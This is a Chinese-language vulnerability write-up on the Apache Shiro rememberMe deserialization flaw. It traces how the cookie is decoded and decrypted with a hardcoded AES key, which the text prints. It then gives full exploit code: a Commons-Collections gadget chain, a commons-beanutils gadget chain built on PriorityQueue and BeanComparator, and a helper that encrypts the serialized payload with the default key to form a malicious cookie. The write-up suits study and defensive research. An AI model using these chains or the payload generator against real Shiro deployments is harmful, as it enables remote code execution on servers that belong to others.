原理分析

处理rememberMe cookie的代码逻辑主要在getRememberedPrincipals方法中

image20220202212225681.png

其中getRememberedSerializedIdentity 方法对Cookie进行了base64解密并返回解密结果

image20220202212341817.png

然后进入convertBytesToPrincipals方法

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

跟进decrypt方法

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

这里的cipherService.decrypt是AES解密

其中的key是getDecryptionCipherKey()的返回值

    public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }

decryptionCipherKey

而在构造函数中将其赋为一个常量
image20220202214008458.png

image20220202214120985.png

kPH+bIxk5D2deZiIxcaaaA== 这就是导致漏洞产生的主要原因

返回后执行convertBytesToPrincipals中的deserialize方法进行反序列化

image20220202214611817.png

直接调用了ois.readObject

Shiro下的CC链

我们已经知道使用TemplatesImpl能执行任意java代码

        TemplatesImpl obj = new TemplatesImpl();
        byte[] code =xxx;
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj,"_name","xux");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
	obj.newTransformer();

我们在CC3中使用InvokerTransformer调用TemplatesImpl#newTransformer方法

        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]
        {
          new ConstantTransformer(obj),
          new InvokerTransformer("newTransformer",null,null)
        };

但是在Shiro下因为Tomcat对类加载的处理问题,如果反序列化流中包含非Java自身的数组,就会报Unable to deserialize argument byte array的错误

因此CC3就无法使用 因为CC3中用到了Transformer数组

我们在CC2中使用到了LazyMap#get 其中会调用factory.transform(key)

他的transform的参数是可控的
Exp:

public class ShiroCC {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //目标是调用  TemplatesImpl.newTransformer(tpl) 即invokerTransformer.transform(tpl)
        byte[] code = Files.readAllBytes(Paths.get("G:/java/ShiroExp/target/classes/Evil.class"));
        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl,"_name","aaa");
        setFieldValue(tpl,"_bytecodes",new byte[][]{code});
        //调用tpl的newTransformer方法即可
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
        //调用invokerTransformer的transform方法即可->调用LazyMap#get即可
        Transformer fakeTransformer = new ConstantTransformer(1);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,fakeTransformer);
        //调用TiedMapEntry#hashcode即可
        TiedMapEntry tme = new TiedMapEntry(outerMap,tpl);
        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.clear();
        setFieldValue(outerMap,"factory",invokerTransformer);
        seriazlie(expMap);
        //unserialize();
    }
    public static void setFieldValue(Object obj,String fieldname,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void seriazlie(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

对序列化生成的文件AES+Base64加密即可得到exp

public class GetExp {
    public static void main(String[] args) throws IOException {
        byte[] payload = Files.readAllBytes(Paths.get("G:/java/ShiroExp/ser.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payload,key);
        System.out.println(ciphertext.toString());
    }
}

image20220203120611160.png

无依赖链(commons-beanutils)

一个demo:

byte[] code = Files.readAllBytes(Paths.get("G:/java/ShiroExp/target/classes/Evil.class"));
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl,"_name","aaa");
setFieldValue(tpl,"_tfactory",new TransformerFactoryImpl());
setFieldValue(tpl,"_bytecodes",new byte[][]{code});
PropertyUtils.getProperty(tpl,"outputProperties");

PopertyUtils.getProperty会调用tpl#getOutputProperties

查找调用了getProperty的地方

发现了BeanComparator#compare
image20220203160016244.png

Object value1 = PropertyUtils.getProperty(o1,property);

我们只要让o1是tpl,property是outputProperties

property可以直接在BeanComparator的构造函数中设置

    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

但是我们不能用默认的构造函数

因为ComparableComparator是Common-Collections中的

而我们的环境无CC依赖

我们可以用如下构造函数自己设置comparator

    public BeanComparator( String property, Comparator comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }

自定义的comparator需要继承Comparator和Serializable接口

我们找到了AttrCompare

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

接下来的流程就和CC2差不多了

   TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(tpl);
        priorityQueue.add(1);
        setFieldValue(priorityQueue,"comparator",beanComparator);
        seriazlie(priorityQueue);

这里使用

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

是因为防止在序列化执行过程中执行exp

但我们没有CC的依赖为什么能使用ConstantTransformer?

我们在序列化前将其改写了

setFieldValue(priorityQueue,"comparator",beanComparator);

所以序列化的数据是不含ConstantTransformer的

(一切都是为了在序列化前不执行exp)

PriorityQueue是Java的优先队列

大致流程:

PriorityQueue#readObject	
⬇
PriorityQueue#heapify 
⬇
PriorityQueue#siftDown  (前提是优先队列中至少有两个元素)
⬇
PriorityQueue#siftDownUsingComparator
⬇
comparator#compare

comparator就是我们在序列化前通过反射修改的beanComparator

compare的第二个参数就是队列中的元素 即tpl

最终Exp:

public class ShiroCB {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
        byte[] code = Files.readAllBytes(Paths.get("G:/java/ShiroExp/target/classes/Evil.class"));
        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl,"_name","aaa");
        setFieldValue(tpl,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(tpl,"_bytecodes",new byte[][]{code});
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(tpl);
        priorityQueue.add(1);
        setFieldValue(priorityQueue,"comparator",beanComparator);
        seriazlie(priorityQueue);
    }
    public static void setFieldValue(Object obj,String fieldname,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void seriazlie(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

image20220203194836223.png